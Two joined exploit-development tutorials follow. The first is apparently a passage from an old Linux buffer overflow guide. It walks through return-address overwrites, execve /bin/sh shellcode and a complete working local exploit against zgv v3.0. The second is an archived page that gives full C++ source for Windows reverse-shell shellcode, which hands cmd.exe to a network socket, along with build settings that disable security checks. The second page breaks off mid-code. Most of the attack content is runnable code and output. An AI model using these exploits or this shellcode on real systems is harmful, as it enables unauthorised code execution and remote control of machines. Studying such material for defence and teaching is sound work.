    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx  <- user input
    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    # ./blah
    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- user input
    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    Segmentation fault (core dumped)
    # gdb blah core
    (gdb) info registers
         eax:       0x24          36
         ecx:  0x804852f   134513967
         edx:        0x1           1
         ebx:   0x11a3c8     1156040
         esp: 0xbffffdb8 -1073742408
         ebp:   0x787878     7895160 
    
[/code]

EBP is 0x787878, this means that we have written more data on the stack than
the input buffer could handle. 0x78 is the hex representation of 'x'. The
process had a buffer of 32 bytes maximum size. We have written more data into
memory than allocated for user input and therefore overwritten EBP and the
return address with 'xxxx', and the process tried to resume execution at
address 0x787878, which caused it to get a segmentation fault.

#### 3b. Changing the return address

Lets try to exploit the program to return to lame\(\) instead of return. We have to change return address 0x80484d0 to 0x80484cb, that is all. In memory, we have: 32 bytes buffer space | 4 bytes saved EBP | 4 bytes RET. Here is a simple program to put the 4byte return address into a 1byte character buffer:
[code]

    main()
    {
    int i=0; char buf[44];
    for (i=0;i<=40;i+=4)
    *(long *) &buf[i] = 0x80484cb;
    puts(buf);
    }
    # ret
    ЛЛЛЛЛЛЛЛЛЛЛ,
    
    # (ret;cat)|./blah
    test             <- user input
    ЛЛЛЛЛЛЛЛЛЛЛ,test
    test             <- user input
    test
    
[/code]

Here we are, the program went through the function two times. If an overflow
is present, the return address of functions can be changed to alter the
programs execution thread.

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

#### 4\. Shellcode

To keep it simple, shellcode is simply assembler commands, which we write on
the stack and then change the retun address to return to the stack. Using this
method, we can insert code into a vulnerable process and then execute it right
on the stack. So, lets generate insertable assembler code to run a shell. A
common system call is execve\(\), which loads and runs any binary, terminating
execution of the current process. The manpage gives us the usage:

[code]

    int  execve  (const  char  *filename, char *const argv [], char *const envp[]);
    
[/code]

Lets get the details of the system call from glibc2:

[code]

    # gdb /lib/libc.so.6
    (gdb) disas execve
    Dump of assembler code for function execve:
    0x5da00 :       pushl  %ebx
    
    /* this is the actual syscall. before a program would call execve, it would
      push the arguments in reverse order on the stack: **envp, **argv, *filename */
    /* put address of **envp into edx register */
    0x5da01 :     movl   0x10(%esp,1),%edx
    /* put address of **argv into ecx register */
    0x5da05 :     movl   0xc(%esp,1),%ecx
    /* put address of *filename into ebx register */
    0x5da09 :     movl   0x8(%esp,1),%ebx
    /* put 0xb in eax register; 0xb == execve in the internal system call table */
    0x5da0d :    movl   $0xb,%eax
    /* give control to kernel, to execute execve instruction */
    0x5da12 :    int    $0x80
    
    0x5da14 :    popl   %ebx
    0x5da15 :    cmpl   $0xfffff001,%eax
    0x5da1a :    jae    0x5da1d <__syscall_error>
    0x5da1c :    ret
    End of assembler dump.
    
[/code]

#### 4a. making the code portable

We have to apply a trick to be able to make shellcode without having to
reference the arguments in memory the conventional way, by giving their exact
address on the memory page, which can only be done at compile time.

Once we can estimate the size of the shellcode, we can use the instructions
jmp <bytes> and call <bytes> to go a specified number of bytes back or forth
in the execution thread. Why use a call? We have the opportunity that a CALL
will automatically store the return address on the stack, the return address
being the next 4 bytes after the CALL instruction. By placing a variable right
behind the call, we indirectly push its address on the stack without having to
know it.

[code]

    0   jmp      (skip Z bytes forward)
    2   popl %esi
    ... put function(s) here ...
    Z   call <-Z+2> (skip 2 less than Z bytes backward, to POPL)
    Z+5 .string     (first variable)
    
[/code]

\(Note: If you're going to write code more complex than for spawning a simple
shell, you can put more than one .string behind the code. You know the size of
those strings and can therefore calculate their relative locations once you
know where the first string is located.\)

#### 4b. the shellcode

[code]

    global code_start           /* we'll need this later, dont mind it */
    global code_end
            .data
    code_start:
            jmp  0x17
            popl %esi
            movl %esi,0x8(%esi)     /* put address of **argv behind shellcode,
                                       0x8 bytes behind it so a /bin/sh has place */
            xorl %eax,%eax          /* put 0 in %eax */
            movb %eax,0x7(%esi)     /* put terminating 0 after /bin/sh string */
            movl %eax,0xc(%esi)     /* another 0 to get the size of a long word */
    my_execve:
            movb $0xb,%al           /* execve(         */
            movl %esi,%ebx          /* "/bin/sh",      */
            leal 0x8(%esi),%ecx     /* & of "/bin/sh", */
            xorl %edx,%edx          /* NULL            */
            int $0x80               /* );              */
            call -0x1c
            .string "/bin/shX"      /* X is overwritten by movb %eax,0x7(%esi) */
    code_end:
    
[/code]

\(The relative offsets 0x17 and -0x1c can be gained by putting in 0x0,
compiling, disassembling and then looking at the shell codes size.\)

This is already working shellcode, though very minimal. You should at least
disassemble the exit\(\) syscall and attach it \(before the 'call'\). The real
art of making shellcode also consists of avoiding any binary zeroes in the
code \(indicates end of input/buffer very often\) and modify it for example,
so the binary code does not contain control or lower characters, which would
get filtered out by some vulnerable programs. Most of this stuff is done by
self-modifying code, like we had in the movb %eax,0x7\(%esi\) instruction. We
replaced the X with \0, but without having a \0 in the shellcode initially...

Lets test this code... save the above code as code.S \(remove comments\) and
the following file as code.c:

[code]

    extern void code_start();
    extern void code_end();
    #include <stdio.h>
    main() { ((void (*)(void)) code_start)(); }
    
    # cc -o code code.S code.c
    # ./code
    bash#
    
[/code]

You can now convert the shellcode to a hex char buffer. Best way to do this
is, print it out:

[code]

    #include <stdio.h>
    extern void code_start(); extern void code_end();
    main() { fprintf(stderr,"%s",code_start); }
    
[/code]

and parse it through aconv -h or bin2c.pl, those tools can be found at:
http://www.dec.net/~dhg or http://members.tripod.com/mixtersecurity

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

#### 5\. Writing an exploit

Let us take a look at how to change the return address to point to shellcode
put on the stack, and write a sample exploit. We will take zgv, because that
is one of the easiest things to exploit out there :\)

[code]

    # export HOME=`perl -e 'printf "a" x 2000'`
    # zgv
    Segmentation fault (core dumped)
    # gdb /usr/bin/zgv core
    #0  0x61616161 in ?? ()
    (gdb) info register esp
         esp: 0xbffff574 -1073744524
    
[/code]

Well, this is the top of the stack at crash time. It is safe to presume that
we can use this as return address to our shellcode.

We will now add some NOP \(no operation\) instructions before our buffer, so
we don't have to be 100% correct regarding the prediction of the exact start
of our shellcode in memory \(or even brute forcing it\). The function will
return onto the stack somewhere before our shellcode, work its way through the
NOPs to the inital JMP command, jump to the CALL, jump back to the popl, and
run our code on the stack.

Remember, the stack looks like this: at the lowest memory address, the top of
the stack where ESP points to, the initial variables are stored, namely the
buffer in zgv that stores the HOME environment variable. After that, we have
the saved EBP\(4bytes\) and the return address of the previous function. We
must write 8 bytes or more behind the buffer to overwrite the return address
with our new address on the stack.

The buffer in zgv is 1024 bytes big. You can find that out by glancing at the
code, or by searching for the initial subl $0x400,%esp \(=1024\) in the
vulnerable function. We will now put all those parts together in the exploit:

#### 5a. Sample zgv exploit

[code]

    /*                   zgv v3.0 exploit by Mixter
              buffer overflow tutorial - http://1337.tsx.org
    
            sample exploit, works for example with precompiled
        redhat 5.x/suse 5.x/redhat 6.x/slackware 3.x linux binaries */
    
    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    
    /* This is the minimal shellcode from the tutorial */
    static char shellcode[]=
    "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
    "\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";
    
    #define NOP     0x90
    #define LEN     1032
    #define RET     0xbffff574
    
    int main()
    {
    char buffer[LEN];
    long retaddr = RET;
    int i;
    
    fprintf(stderr,"using address 0x%lx\n",retaddr);
    
    /* this fills the whole buffer with the return address, see 3b) */
    for (i=0;i<LEN;i+=4)
       *(long *)&buffer[i] = retaddr;
    
    /* this fills the initial buffer with NOP's, 100 chars less than the
       buffer size, so the shellcode and return address fits in comfortably */
    for (i=0;i<LEN-strlen(shellcode)-100);i++)
       *(buffer+i) = NOP;
    
    /* after the end of the NOPs, we copy in the execve() shellcode */
    memcpy(buffer+i,shellcode,strlen(shellcode));
    
    /* export the variable, run zgv */
    
    setenv("HOME", buffer, 1);
    execlp("zgv","zgv",NULL);
    return 0;
    }
    
    /* EOF */
    
[/code]

We now have a string looking like this:

[code]

    [ ... NOP NOP NOP NOP NOP JMP SHELLCODE CALL /bin/sh RET RET RET RET RET RET ]
    
[/code]

While zgv's stack looks like this:

[code]

    v-- 0xbffff574 is here
    [     S   M   A   L   L   B   U   F   F   E   R   ] [SAVED EBP] [ORIGINAL RET]
    
[/code]

The execution thread of zgv is now as follows:

[code]

    main ... -> function() -> strcpy(smallbuffer,getenv("HOME"));
    
[/code]

At this point, zgv fails to do bounds checking, writes beyond smallbuffer, and
the return address to main is overwritten with the return address on the
stack. function\(\) does leave/ret and the EIP points onto the stack:

[code]

    0xbffff574 nop
    0xbffff575 nop
    0xbffff576 nop
    0xbffff577 jmp $0x24                    1
    0xbffff579 popl %esi          3 <--\    |
    [... shellcode starts here ...]    |    |
    0xbffff59b call -$0x1c             2 <--/
    0xbffff59e .string "/bin/shX"
    
[/code]

Lets test the exploit...

[code]

    # cc -o zgx zgx.c
    # ./zgx
    using address 0xbffff574
    bash#
    
[/code]

#### 5b. further tips on writing exploits

There are a lot of programs which are tough to exploit, but nonetheless
vulnerable. However, there are a lot of tricks you can do to get behind
filtering and such. There are also other overflow techniques which do not
necessarily include changing the return address at all or only the return
address. There are so-called pointer overflows, where a pointer that a
function allocates can be overwritten by an overflow, altering the programs
execution flow \(an example is the RoTShB bind 4.9 exploit\), and exploits
where the return address points to the shells environment pointer, where the
shellcode is located instead of being on the stack \(this defeats very small
buffers, and Non-executable stack patches, and can fool some security
programs, though it can only be performed locally\).

Another important subject for the skilled shellcode author is radically self-
modifying code, which initially only consists of printable, non-white upper
case characters, and then modifies itself to put functional shellcode on the
stack which it executes, etc.

You should never, ever have any binary zeroes in your shell code, because it
will most possibly not work if it contains any. But discussing how to
sublimate certain assembler commands with others would go beyond the scope of
this paper. I also suggest reading the other great overflow howto's out there,
written by aleph1, Taeoh Oh and mudge.

#### 5c. Important Note

You will NOT be able to use this tutorial on Windows or Macintosh. Do NOT ask
me for cc.exe and gdb.exe either\!

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

#### 6\. Conclusions

We have learned, that once an overflow is present which is user dependent, it
can be exploited about 90% of the time, even though exploiting some situations
is difficult and takes some skill. Why is it important to write exploits?
Because ignorance is omniscient in the software industry. There have already
been reports of vulnerabilities due to buffer overflows in software, though
the software has not been updated, or the majority of users didn't update,
because the vulnerability was hard to exploit and nobody believed it created a
security risk. Then, an exploit actually comes out, proves and practically
enables a program to be exploitable, and there is usually a big \(neccessary\)
hurry to update it.

As for the programmer \(you\), it is a hard task to write secure programs, but
it should be taken very serious. This is a specially large concern when
writing servers, any type of security programs, or programs that are suid
root, or designed to be run by root, any special accounts, or the system
itself. Apply bounds checking \(strn\*, sn\*, functions instead of sprintf
etc.\), prefer allocating buffers of a dynamic, input-dependent, size, be
careful on for/while/etc. loops that gather data and stuff it into a buffer,
and generally handle user input with very much care are the main principles I
suggest.

There has also been made notable effort of the security industry to prevent
overflow problems with techniques like non-executable stack, suid wrappers,
guard programs that check return addresses, bounds checking compilers, and so
on. You should make use of those techniques where possible, but do not fully
rely on them. Do not assume to be safe at all if you run a vanilla two-year
old UNIX distribution without updates, but overflow protection or \(even more
stupid\) firewalling/IDS. It cannot assure security, if you continue to use
insecure programs because \_all\_ security programs are \_software\_ and can
contain vulnerabilities themselves, or at least not be perfect. If you apply
frequent updates \_and\_ security measures, you can still not expect to be
secure, \_but\_ you can hope.

# Shellcode - Exploit Development Community

**Created:**| _9/4/2017 10:08:45 AM_  
---|---  
**Updated:**| _9/4/2017 10:08:45 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# Shellcode

## Introduction

A shellcode is a piece of code which is sent as payload by an exploit, is
injected in the vulnerable application and is executed. A shellcode must be
position independent, i.e. it must work no matter its position in memory and
shouldn’t contain null bytes, because the shellcode is usually copied by
functions like strcpy\(\) which stop copying when they encounter a null byte.
If a shellcode should contain a null byte, those functions would copy that
shellcode only up to the first null byte and thus the shellcode would be
incomplete.

Shellcode is usually written directly in assembly, but this doesn’t need to be
the case. In this section, we’ll develop shellcode in C/C++ using Visual
Studio 2013. The benefits are evident:

  1. shorter development times
  2. intellisense
  3. ease of debugging

We will use VS 2013 to produce an executable file with our shellcode and then
we will extract and fix \(i.e. remove the null bytes\) the shellcode with a
Python script.

## C/C++ code

### Use only stack variables

To write position independent code in C/C++ we must only use variables
allocated on the stack. This means that we can’t write

1| char \*v = new char\[100\];  
---|---  
because that array would be allocated on the heap. More important, this would
try to call the new operator function from msvcr120.dll using an absolute
address:

[code]

    00191000 6A 64                push        64h
    00191002 FF 15 90 20 19 00    call        dword ptr ds:[192090h]
    
[/code]

The location 192090h contains the address of the function.

If we want to call a function imported from a library, we must do so directly,
without relying on import tables and the Windows loader.

Another problem is that the new operator probably requires some kind of
initialization performed by the runtime component of the C/C++ language. We
don’t want to include all that in our shellcode.

We can’t use global variables either:

12345| int x; int main\(\) \{ x = 12;\}  
---|---  
The assignment above \(if not optimized out\), produces

[code]

    008E1C7E C7 05 30 91 8E 00 0C 00 00 00 mov         dword ptr ds:[8E9130h],0Ch
[/code]

where 8E9130h is the absolute address of the variable x.

Strings pose a problem. If we write

12| char str\[\] = "I'm a string";printf\(str\);  
---|---  
the string will be put into the section .rdata of the executable and will be
referenced with an absolute address. You must not use printf in your
shellcode: this is just an example to see how str is referenced. Here’s the
asm code:

[code]

    00A71006 8D 45 F0             lea         eax,[str]
    00A71009 56                   push        esi
    00A7100A 57                   push        edi
    00A7100B BE 00 21 A7 00       mov         esi,0A72100h
    00A71010 8D 7D F0             lea         edi,[str]
    00A71013 50                   push        eax
    00A71014 A5                   movs        dword ptr es:[edi],dword ptr [esi]
    00A71015 A5                   movs        dword ptr es:[edi],dword ptr [esi]
    00A71016 A5                   movs        dword ptr es:[edi],dword ptr [esi]
    00A71017 A4                   movs        byte ptr es:[edi],byte ptr [esi]
    00A71018 FF 15 90 20 A7 00    call        dword ptr ds:[0A72090h]
    
[/code]

As you can see, the string, located at the address A72100h in the .rdata
section, is copied onto the stack \(str points to the stack\) through movsd
and movsb. Note that A72100h is an absolute address. This code is definitely
not position independent.

If we write

12| char \*str = "I'm a string";printf\(str\);  
---|---  
the string is still put into the .rdata section, but it’s not copied onto the
stack:

[code]

    00A31000 68 00 21 A3 00       push        0A32100h
    00A31005 FF 15 90 20 A3 00    call        dword ptr ds:[0A32090h]
[/code]

The absolute position of the string in .rdata is A32100h.  
How can we makes this code position independent?  
The simpler \(partial\) solution is rather cumbersome:

12| char str\[\] = \{ 'I', '\'', 'm', ' ', 'a', ' ', 's', 't', 'r', 'i', 'n',
'g', '\0' \};printf\(str\);  
---|---  
Here’s the asm code:

[code]

    012E1006 8D 45 F0             lea         eax,[str]
    012E1009 C7 45 F0 49 27 6D 20 mov         dword ptr [str],206D2749h
    012E1010 50                   push        eax
    012E1011 C7 45 F4 61 20 73 74 mov         dword ptr [ebp-0Ch],74732061h
    012E1018 C7 45 F8 72 69 6E 67 mov         dword ptr [ebp-8],676E6972h
    012E101F C6 45 FC 00          mov         byte ptr [ebp-4],0
    012E1023 FF 15 90 20 2E 01    call        dword ptr ds:[12E2090h]
    
[/code]

Except for the call to printf, this code is position independent because
portions of the string are coded directly in the source operands of the mov
instructions. Once the string has been built on the stack, it can be used.

Unfortunately, when the string is longer, this method doesn’t work anymore. In
fact, the code

12| char str\[\] = \{ 'I', '\'', 'm', ' ', 'a', ' ', 'v', 'e', 'r', 'y', ' ',
'l', 'o', 'n', 'g', ' ', 's', 't', 'r', 'i', 'n', 'g', '\0' \};printf\(str\);  
---|---  
produces

[code]

    013E1006 66 0F 6F 05 00 21 3E 01 movdqa      xmm0,xmmword ptr ds:[13E2100h]
    013E100E 8D 45 E8             lea         eax,[str]
    013E1011 50                   push        eax
    013E1012 F3 0F 7F 45 E8       movdqu      xmmword ptr [str],xmm0
    013E1017 C7 45 F8 73 74 72 69 mov         dword ptr [ebp-8],69727473h
    013E101E 66 C7 45 FC 6E 67    mov         word ptr [ebp-4],676Eh
    013E1024 C6 45 FE 00          mov         byte ptr [ebp-2],0
    013E1028 FF 15 90 20 3E 01    call        dword ptr ds:[13E2090h]
    
[/code]

As you can see, part of the string is located in the .rdata section at the
address 13E2100h, while other parts of the string are encoded in the source
operands of the mov instructions like before.

The solution I came up with is to allow code like

1| char \*str = "I'm a very long string";  
---|---  
and fix the shellcode with a Python script. That script needs to extract the
referenced strings from the .rdata section, put them into the shellcode and
fix the relocations. We’ll see how soon.

### Don’t call Windows API directly

We can’t write

1| WaitForSingleObject\(procInfo.hProcess, INFINITE\);  
---|---  
in our C/C++ code because “WaitForSingleObject” needs to be imported from
kernel32.dll.

The process of importing a function from a library is rather complex. In a
nutshell, the PE file contains an import table and an import address table
\(IAT\). The import table contains information about which functions to import
from which libraries. The IAT is compiled by the Windows loader when the
executable is loaded and contains the addresses of the imported functions. The
code of the executable call the imported functions with a level of
indirection. For example:

[code]

     001D100B FF 15 94 20 1D 00    call        dword ptr ds:[1D2094h]
[/code]

The address 1D2094h is the location of the entry \(in the IAT\) which contains
the address of the function MessageBoxA. This level of indirection is useful
because the call above doesn’t need to be fixed \(unless the executable is
relocated\). The only thing the Windows loader needs to fix is the dword at
1D2094h, which is the address of the MessageBoxA function.

The solution is to get the addresses of the Windows functions directly from
the in-memory data structures of Windows. We’ll see how this is done later.

### Install VS 2013 CTP

First of all, download the Visual C++ Compiler November 2013 CTP from here and
install it.

### Create a New Project

Go to File→New→Project…, select Installed→Templates→Visual C++→Win32→Win32
Console Application, choose a name for the project \(I chose shellcode\) and
hit OK.

Go to Project→<project name> properties and a new dialog will appear. Apply
the changes to all configurations \(Release and Debug\) by setting
Configuration \(top left of the dialog\) to All Configurations. Then, expand
Configuration Properties and under General modify Platform Toolset so that it
says Visual C++ Compiler Nov 2013 CTP \(CTP\_Nov2013\). This way you’ll be
able to use some features of C++11 and C++14 like static\_assert.

### Example of Shellcode

Here’s the code for a simple reverse shell \(definition\). Add a file named
shellcode.cpp to the project and copy this code in it. Don’t try to understand
all the code right now. We’ll discuss it at length.

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163| // Simple reverse shell shellcode by Massimiliano Tomassoli \(2015\)// NOTE: Compiled on Visual Studio 2013 + "Visual C++ Compiler November 2013 CTP". \#include <WinSock2.h> // must preceed \#include <windows.h>\#include <WS2tcpip.h>\#include <windows.h>\#include <winnt.h>\#include <winternl.h>\#include <stddef.h>\#include <stdio.h> \#define htons\(A\) \(\(\(\(WORD\)\(A\) & 0xff00\) >> 8\) | \(\(\(WORD\)\(A\) & 0x00ff\) << 8\)\) \_inline PEB \*getPEB\(\) \{ PEB \*p; \_\_asm \{ mov eax, fs:\[30h\] mov p, eax \} return p;\} DWORD getHash\(const char \*str\) \{ DWORD h = 0; while \(\*str\) \{ h = \(h >> 13\) | \(h << \(32 - 13\)\); // ROR h, 13 h += \*str >= 'a' ? \*str - 32 : \*str; // convert the character to uppercase str++; \} return h;\} DWORD getFunctionHash\(const char \*moduleName, const char \*functionName\) \{ return getHash\(moduleName\) + getHash\(functionName\);\} LDR\_DATA\_TABLE\_ENTRY \*getDataTableEntry\(const LIST\_ENTRY \*ptr\) \{ int list\_entry\_offset = offsetof\(LDR\_DATA\_TABLE\_ENTRY, InMemoryOrderLinks\); return \(LDR\_DATA\_TABLE\_ENTRY \*\)\(\(BYTE \*\)ptr - list\_entry\_offset\);\} // NOTE: This function doesn't work with forwarders. For instance, kernel32.ExitThread forwards to// ntdll.RtlExitUserThread. The solution is to follow the forwards manually.PVOID getProcAddrByHash\(DWORD hash\) \{ PEB \*peb = getPEB\(\); LIST\_ENTRY \*first = peb->Ldr->InMemoryOrderModuleList.Flink; LIST\_ENTRY \*ptr = first; do \{ // for each module LDR\_DATA\_TABLE\_ENTRY \*dte = getDataTableEntry\(ptr\); ptr = ptr->Flink; BYTE \*baseAddress = \(BYTE \*\)dte->DllBase; if \(\!baseAddress\) // invalid module\(???\) continue; IMAGE\_DOS\_HEADER \*dosHeader = \(IMAGE\_DOS\_HEADER \*\)baseAddress; IMAGE\_NT\_HEADERS \*ntHeaders = \(IMAGE\_NT\_HEADERS \*\)\(baseAddress + dosHeader->e\_lfanew\); DWORD iedRVA = ntHeaders->OptionalHeader.DataDirectory\[IMAGE\_DIRECTORY\_ENTRY\_EXPORT\].VirtualAddress; if \(\!iedRVA\) // Export Directory not present continue; IMAGE\_EXPORT\_DIRECTORY \*ied = \(IMAGE\_EXPORT\_DIRECTORY \*\)\(baseAddress + iedRVA\); char \*moduleName = \(char \*\)\(baseAddress + ied->Name\); DWORD moduleHash = getHash\(moduleName\); // The arrays pointed to by AddressOfNames and AddressOfNameOrdinals run in parallel, i.e. the i-th // element of both arrays refer to the same function. The first array specifies the name whereas // the second the ordinal. This ordinal can then be used as an index in the array pointed to by // AddressOfFunctions to find the entry point of the function. DWORD \*nameRVAs = \(DWORD \*\)\(baseAddress + ied->AddressOfNames\); for \(DWORD i = 0; i < ied->NumberOfNames; ++i\) \{ char \*functionName = \(char \*\)\(baseAddress + nameRVAs\[i\]\); if \(hash == moduleHash + getHash\(functionName\)\) \{ WORD ordinal = \(\(WORD \*\)\(baseAddress + ied->AddressOfNameOrdinals\)\)\[i\]; DWORD functionRVA = \(\(DWORD \*\)\(baseAddress + ied->AddressOfFunctions\)\)\[ordinal\]; return baseAddress + functionRVA; \} \} \} while \(ptr \!= first\); return NULL; // address not found\} \#define HASH\_LoadLibraryA 0xf8b7108d\#define HASH\_WSAStartup 0x2ddcd540\#define HASH\_WSACleanup 0x0b9d13bc\#define HASH\_WSASocketA 0x9fd4f16f\#define HASH\_WSAConnect 0xa50da182\#define HASH\_CreateProcessA 0x231cbe70\#define HASH\_inet\_ntoa 0x1b73fed1\#define HASH\_inet\_addr 0x011bfae2\#define HASH\_getaddrinfo 0xdc2953c9\#define HASH\_getnameinfo 0x5c1c856e\#define HASH\_ExitThread 0x4b3153e0\#define HASH\_WaitForSingleObject 0xca8e9498 \#define DefineFuncPtr\(name\) decltype\(name\) \*My\_\#\#name = \(decltype\(name\) \*\)getProcAddrByHash\(HASH\_\#\#name\) int entryPoint\(\) \{// printf\("0x%08x\n", getFunctionHash\("kernel32.dll", "WaitForSingleObject"\)\);// return 0; // NOTE: we should call WSACleanup\(\) and freeaddrinfo\(\) \(after getaddrinfo\(\)\), but // they're not strictly needed. DefineFuncPtr\(LoadLibraryA\); My\_LoadLibraryA\("ws2\_32.dll"\); DefineFuncPtr\(WSAStartup\); DefineFuncPtr\(WSASocketA\); DefineFuncPtr\(WSAConnect\); DefineFuncPtr\(CreateProcessA\); DefineFuncPtr\(inet\_ntoa\); DefineFuncPtr\(inet\_addr\); DefineFuncPtr\(getaddrinfo\); DefineFuncPtr\(getnameinfo\); DefineFuncPtr\(ExitThread\); DefineFuncPtr\(WaitForSingleObject\); const char \*hostName = "127.0.0.1"; const int hostPort = 123; WSADATA wsaData; if \(My\_WSAStartup\(MAKEWORD\(2, 2\), &wsaData\)\) goto \_\_end; // error SOCKET sock = My\_WSASocketA\(AF\_INET, SOCK\_STREAM, IPPROTO\_TCP, NULL, 0, 0\); if \(sock == INVALID\_SOCKET\) goto \_\_end; addrinfo \*result; if \(My\_getaddrinfo\(hostName, NULL, NULL, &result\)\) goto \_\_end; char ip\_addr\[16\]; My\_getnameinfo\(result->ai\_addr, result->ai\_addrlen, ip\_addr, sizeof\(ip\_addr\), NULL, 0, NI\_NUMERICHOST\); SOCKADDR\_IN remoteAddr; remoteAddr.sin\_family = AF\_INET; remoteAddr.sin\_port = htons\(hostPort\); remoteAddr.sin\_addr.s\_addr = My\_inet\_addr\(ip\_addr\); if \(My\_WSAConnect\(sock, \(SOCKADDR \*\)&remoteAddr, sizeof\(remoteAddr\), NULL, NULL, NULL, NULL\)\) goto \_\_end; STARTUPINFOA sInfo; PROCESS\_INFORMATION procInfo; SecureZeroMemory\(&sInfo, sizeof\(sInfo\)\); // avoids a call to \_memset sInfo.cb = sizeof\(sInfo\); sInfo.dwFlags = STARTF\_USESTDHANDLES; sInfo.hStdInput = sInfo.hStdOutput = sInfo.hStdError = \(HANDLE\)sock; My\_CreateProcessA\(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sInfo, &procInfo\); // Waits for the process to finish. My\_WaitForSingleObject\(procInfo.hProcess, INFINITE\); \_\_end: My\_ExitThread\(0\); return 0;\} int main\(\) \{ return entryPoint\(\);\}  
---|---  
### Compiler Configuration

Go to Project→<project name> properties, expand Configuration Properties and
then C/C++. Apply the changes to the Release Configuration.

Here are the settings you need to change:

  * General:
    * SDL Checks: No \(/sdl-\)  
Maybe this is not needed, but I disabled them anyway.

  * Optimization:
    * Optimization: Minimize Size \(/O1\)  
This is very important\! We want a shellcode as small as possible.

    * Inline Function Expansion: Only \_\_inline \(/Ob1\)  
If a function A calls a function B and B is inlined, then the call to B is
replaced with the code of B itself. With this setting we tell VS 2013 to
inline only functions decorated with \_inline.  
This is critical\! main\(\) just calls the entryPoint function of our
shellcode. If the entryPoint function is short, it might be inlined into
main\(\). This would be disastrous because main\(\) wouldn’t indicate the end
of our shellcode anymore \(in fact, it would contain part of it\). We’ll see
why this is important later.

    * Enable Intrinsic Functions: Yes \(/Oi\)  
I don’t know if this should be disabled.

    * Favor Size Or Speed: Favor small code \(/Os\)
    * Whole Program Optimization: Yes \(/GL\)
  * Code Generation:
    * Security Check: Disable Security Check \(/GS-\)  
We don’t need any security checks\!

    * Enable Function-Level linking: Yes \(/Gy\)

### Linker Configuration

Go to Project→<project name> properties, expand Configuration Properties and
then Linker. Apply the changes to the Release Configuration. Here are the
settings you need to change:

  * General:
    * Enable Incremental Linking: No \(/INCREMENTAL:NO\)
  * Debugging:
    * Generate Map File: Yes \(/MAP\)  
Tells the linker to generate a map file containing the structure of the EXE.

    * Map File Name: mapfile  
This is the name of the map file. Choose whatever name you like.

  * Optimization:
    * References: Yes \(/OPT:REF\)  
This is very important to generate a small shellcode because eliminates
functions and data that are never referenced by the code.

    * Enable COMDAT Folding: Yes \(/OPT:ICF\)
    * Function Order: function\_order.txt  
This reads a file called function\_order.txt which specifies the order in
which the functions must appear in the code section. We want the function
entryPoint to be the first function in the code section so my
function\_order.txt contains just a single line with the word
?entryPoint@@YAHXZ. You can find the names of the functions in the map file.

### getProcAddrByHash

This function returns the address of a function exported by a module \(.exe or
.dll\) present in memory, given the hash associated with the module and the
function. It’s certainly possible to find functions by name, but that would
waste considerable space because those names should be included in the
shellcode. On the other hand, a hash is only 4 bytes. Since we don’t use two
hashes \(one for the module and the other for the function\),
getProcAddrByHash needs to consider all the modules loaded in memory.

The hash for MessageBoxA, exported by user32.dll, can be computed as follows:

1| DWORD hash = getFunctionHash\("user32.dll", "MessageBoxA"\);  
---|---  
where hash is the sum of getHash\(“user32.dll”\) and getHash\(“MessageBoxA”\).
The implementation of getHash is very simple:

123456789| DWORD getHash\(const char \*str\) \{ DWORD h = 0; while \(\*str\) \{ h = \(h >> 13\) | \(h << \(32 - 13\)\); // ROR h, 13 h += \*str >= 'a' ? \*str - 32 : \*str; // convert the character to uppercase str++; \} return h;\}  
---|---  
As you can see, the hash is case-insensitive. This is important because in
some versions of Windows the names in memory are all uppercase.

First, getProcAddrByHash gets the address of the TEB \(Thread Environment
Block\):

1| PEB \*peb = getPEB\(\);  
---|---  
where

12345678| \_inline PEB \*getPEB\(\) \{ PEB \*p; \_\_asm \{ mov eax, fs:\[30h\]
mov p, eax \} return p;\}  
---|---  
The selector fs is associated with a segment which starts at the address of
the TEB. At offset 30h, the TEB contains a pointer to the PEB \(Process
Environment Block\). We can see this in WinDbg:

[code]

    0:000> dt _TEB @$teb
    ntdll!_TEB
    +0x000 NtTib            : _NT_TIB
    +0x01c EnvironmentPointer : (null)
    +0x020 ClientId         : _CLIENT_ID
    +0x028 ActiveRpcHandle  : (null)
    +0x02c ThreadLocalStoragePointer : 0x7efdd02c Void
    +0x030 ProcessEnvironmentBlock : 0x7efde000 _PEB
    +0x034 LastErrorValue   : 0
    +0x038 CountOfOwnedCriticalSections : 0
    +0x03c CsrClientThread  : (null)
    <snip>
[/code]

The PEB, as the name implies, is associated with the current process and
contains, among other things, information about the modules loaded into the
process address space.

Here’s getProcAddrByHash again:

1234567891011121314| PVOID getProcAddrByHash\(DWORD hash\) \{ PEB \*peb =
getPEB\(\); LIST\_ENTRY \*first = peb->Ldr->InMemoryOrderModuleList.Flink;
LIST\_ENTRY \*ptr = first; do \{ // for each module LDR\_DATA\_TABLE\_ENTRY
